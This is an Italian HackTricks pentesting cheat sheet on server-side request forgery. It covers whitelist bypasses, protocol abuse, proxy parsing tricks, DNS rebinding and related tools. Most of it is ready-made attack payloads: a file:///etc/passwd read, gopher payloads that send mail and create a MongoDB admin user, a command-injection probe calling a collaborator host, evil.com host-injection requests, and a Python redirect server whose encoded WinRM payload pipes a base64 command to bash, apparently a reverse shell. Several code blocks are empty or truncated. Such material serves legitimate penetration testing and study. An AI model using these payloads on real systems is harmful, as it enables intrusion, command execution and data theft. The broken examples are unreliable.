# SSRF (Server Side Request Forgery)
\ Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ Ottieni accesso oggi: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} {% hint style="success" %} Impara e pratica Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Impara e pratica Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Supporta HackTricks * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
{% endhint %} ## Informazioni di base Una vulnerabilità di **Server-side Request Forgery (SSRF)** si verifica quando un attaccante manipola un **applicazione lato server** per effettuare **richieste HTTP** a un dominio di sua scelta. Questa vulnerabilità espone il server a richieste esterne arbitrarie dirette dall'attaccante. ## Cattura SSRF La prima cosa che devi fare è catturare un'interazione SSRF generata da te. Per catturare un'interazione HTTP o DNS puoi usare strumenti come: * **Burp Collaborator** * [**pingb**](http://pingb.in) * [**canarytokens**](https://canarytokens.org/generate) * [**interractsh**](https://github.com/projectdiscovery/interactsh) * [**http://webhook.site**](http://webhook.site) * [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) * [http://requestrepo.com/](http://requestrepo.com/) * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) * [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Un Burp Collaborator che utilizza ngrok ## Bypass dei domini in whitelist Di solito scoprirai che l'SSRF funziona solo in **alcuni domini o URL in whitelist**. Nella pagina seguente hai una **compilazione di tecniche per cercare di bypassare quella whitelist**: {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) {% endcontent-ref %} ### Bypass tramite open redirect Se il server è correttamente protetto, potresti **bypassare tutte le restrizioni sfruttando un Open Redirect all'interno della pagina web**. Poiché la pagina web consentirà **SSRF allo stesso dominio** e probabilmente **seguirà i redirect**, puoi sfruttare l'**Open Redirect per far accedere il server a qualsiasi risorsa interna**.\ Leggi di più qui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protocolli * **file://** * Lo schema URL `file://` è referenziato, puntando direttamente a `/etc/passwd`: `file:///etc/passwd` * **dict://** * Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Un esempio fornito illustra un URL costruito che mira a una parola specifica, un database e un numero di voce, così come un'istanza di uno script PHP che potrebbe essere potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: `dict://;@:/d:::` * **SFTP://** * Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP malevolo: `url=sftp://generic.com:11111/` * **TFTP://** * Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Una richiesta TFTP viene effettuata a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` * **LDAP://** * Questo segmento tratta il Lightweight Directory Access Protocol, enfatizzando il suo utilizzo per gestire e accedere a servizi di informazioni directory distribuiti su reti IP. Interagisci con un server LDAP su localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` * **SMTP** * Viene descritto un metodo per sfruttare le vulnerabilità SSRF per interagire con i servizi SMTP su localhost, inclusi i passaggi per rivelare nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 4. connect ``` * **Curl URL globbing - Bypass WAF** * Se l'SSRF viene eseguito da **curl**, curl ha una funzionalità chiamata [**URL globbing**](https://everything.curl.dev/cmdline/globbing) che potrebbe essere utile per bypassare i WAF. Ad esempio, in questo [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puoi trovare questo esempio per un **path traversal tramite il protocollo `file`**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` * **Gopher://** * La capacità del protocollo Gopher di specificare IP, porta e byte per la comunicazione con il server è discussa, insieme a strumenti come Gopherus e remote-method-guesser per creare payload. Vengono illustrati due usi distinti: ### Gopher:// Utilizzando questo protocollo puoi specificare l'**IP, la porta e i byte** che vuoi che il server **invi**. Poi, puoi sostanzialmente sfruttare un SSRF per **comunicare con qualsiasi server TCP** (ma devi sapere come parlare con il servizio prima).\ Fortunatamente, puoi usare [Gopherus](https://github.com/tarunkant/Gopherus) per creare payload per diversi servizi. Inoltre, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) può essere utilizzato per creare payload _gopher_ per servizi _Java RMI_. **Gopher smtp** ``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` **Gopher HTTP** ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` **Gopher SMTP — Connessione inversa a 1337** {% code title="redirect.php" %} ```php Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} #### Gopher MongoDB -- Crea un utente con username=admin con password=admin123 e con permesso=administrator ```bash # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 %00%00administrator%00%00%00%00' ``` ## SSRF tramite intestazione Referrer e altri Il software di analisi sui server spesso registra l'intestazione Referrer per tracciare i link in arrivo, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tale software può visitare URL esterni menzionati nell'intestazione Referrer per analizzare il contenuto del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "**Collaborator Everywhere**", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare potenziali superfici di attacco SSRF. ## SSRF tramite dati SNI da certificato Una misconfigurazione che potrebbe abilitare la connessione a qualsiasi backend attraverso una semplice configurazione è illustrata con un esempio di configurazione Nginx: ``` stream { server { listen 443; resolver 127.0.0.11; proxy_pass $ssl_preread_server_name:443; ssl_preread on; } } ``` In questa configurazione, il valore del campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questa impostazione espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata semplicemente specificando l'indirizzo IP o il nome di dominio desiderato nel campo SNI. Un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come `internal.host.com`, utilizzando il comando `openssl` è fornito di seguito: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` ## [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick) ## SSRF con Command Injection Potrebbe valere la pena provare un payload come: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## Rendering dei PDF Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi **inserire del JS che verrà eseguito dal creatore del PDF** stesso (il server) mentre crea il PDF e potrai abusare di un SSRF. [**Trova ulteriori informazioni qui**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## Da SSRF a DoS Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle sessioni. ## Funzioni PHP SSRF Controlla la seguente pagina per funzioni PHP vulnerabili e anche funzioni di Wordpress: {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} ## SSRF Redirect a Gopher Per alcune sfruttamenti potresti aver bisogno di **inviare una risposta di reindirizzamento** (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici python per rispondere con un reindirizzamento: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) httpd.serve_forever() ``` ```python from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ```
\ Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ Ottieni accesso oggi: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} ## Proxy mal configurati per SSRF Trucchi [**da questo post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). ### Flask
Codice vulnerabile del proxy Flask ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content if __name__ == "__main__": app.run(threaded=False) ```
Flask consente di utilizzare **`@`** come carattere iniziale, il che consente di rendere **il nome host iniziale il nome utente** e iniettare un nuovo nome. Richiesta di attacco: ```http GET @evildomain.com/ HTTP/1.1 Host: target.com Connection: close ``` ### Spring Boot Codice vulnerabile:
È stato scoperto che è possibile **iniziare il percorso** di una richiesta con il carattere **`;`** che consente di utilizzare poi **`@`** e iniettare un nuovo host da accedere. Richiesta di attacco: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` ### PHP Built-in Web Server
Codice PHP vulnerabile ```php ```
PHP consente l'uso del **carattere `*` prima di una barra nel percorso** dell'URL, tuttavia, ha altre limitazioni come il fatto che può essere utilizzato solo per il percorso radice `/` e che i punti `.` non sono consentiti prima della prima barra, quindi è necessario utilizzare un indirizzo IP codificato in esadecimale senza punti, ad esempio: ```http GET *@0xa9fea9fe/ HTTP/1.1 Host: target.com Connection: close ``` ## DNS Rebidding CORS/SOP bypass Se hai **problemi** a **estrarre contenuti da un IP locale** a causa di **CORS/SOP**, **DNS Rebidding** può essere utilizzato per bypassare questa limitazione: {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} ### Automated DNS Rebidding [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) è uno strumento per eseguire attacchi di [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Include i componenti necessari per riassociare l'indirizzo IP del nome DNS del server di attacco all'indirizzo IP della macchina target e per servire payload di attacco per sfruttare software vulnerabili sulla macchina target. Controlla anche il **server pubblico in esecuzione su** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + TLS Session ID/Session ticket Requisiti: * **SSRF** * **Sessioni TLS in uscita** * **Cose su porte locali** Attacco: 1. Chiedi all'utente/bot di **accedere** a un **dominio** controllato dall'**attaccante** 2. Il **TTL** del **DNS** è **0** sec (quindi la vittima controllerà di nuovo l'IP del dominio a breve) 3. Una **connessione TLS** viene creata tra la vittima e il dominio dell'attaccante. L'attaccante introduce il **payload all'interno** del **Session ID o Session Ticket**. 4. Il **dominio** avvierà un **ciclo infinito** di reindirizzamenti contro **se stesso**. L'obiettivo di questo è far accedere l'utente/bot al dominio fino a quando non esegue **di nuovo** una **richiesta DNS** del dominio. 5. Nella richiesta DNS viene fornito un **indirizzo IP privato** **ora** (127.0.0.1 ad esempio) 6. L'utente/bot cercherà di **ripristinare la connessione TLS** e per farlo **invierà** il **Session** ID/Ticket ID (dove era contenuto il **payload** dell'attaccante). Quindi congratulazioni, sei riuscito a chiedere all'**utente/bot di attaccare se stesso**. Nota che durante questo attacco, se vuoi attaccare localhost:11211 (_memcache_) devi far stabilire alla vittima la connessione iniziale con www.attacker.com:11211 (la **porta deve sempre essere la stessa**).\ Per **eseguire questo attacco puoi usare lo strumento**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Per **maggiori informazioni** dai un'occhiata alla conferenza in cui viene spiegato questo attacco: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) ## Blind SSRF La differenza tra un blind SSRF e uno non blind è che nel blind non puoi vedere la risposta della richiesta SSRF. Quindi, è più difficile sfruttare perché sarai in grado di sfruttare solo vulnerabilità ben note. ### Time based SSRF **Controllando il tempo** delle risposte dal server potrebbe essere **possibile sapere se una risorsa esiste o meno** (forse ci vuole più tempo ad accedere a una risorsa esistente rispetto ad accedere a una che non esiste) ## Cloud SSRF Exploitation Se trovi una vulnerabilità SSRF in una macchina in esecuzione all'interno di un ambiente cloud potresti essere in grado di ottenere informazioni interessanti sull'ambiente cloud e persino credenziali: {% content-ref url="cloud-ssrf.md" %} [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} ## SSRF Vulnerable Platforms Diverse piattaforme conosciute contengono o hanno contenuto vulnerabilità SSRF, controllale in: {% content-ref url="ssrf-vulnerable-platforms.md" %} [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) {% endcontent-ref %} ## Tools ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) Strumento per rilevare e sfruttare vulnerabilità SSRF ### [Gopherus](https://github.com/tarunkant/Gopherus) * [Post del blog su Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) Questo strumento genera payload Gopher per: * MySQL * PostgreSQL * FastCGI * Redis * Zabbix * Memcache ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [Post del blog sull'uso di SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ è uno scanner di vulnerabilità _Java RMI_ che supporta operazioni di attacco per le vulnerabilità _Java RMI_ più comuni. La maggior parte delle operazioni disponibili supporta l'opzione `--ssrf`, per generare un payload _SSRF_ per l'operazione richiesta. Insieme all'opzione `--gopher`, possono essere generati direttamente payload _gopher_ pronti all'uso. ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) SSRF Proxy è un server proxy HTTP multi-thread progettato per tunnelare il traffico HTTP del client attraverso server HTTP vulnerabili a Server-Side Request Forgery (SSRF). ### To practice {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} ## References * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) * [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) * [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
{% endhint %}
\ Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** del mondo.\ Ottieni accesso oggi: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}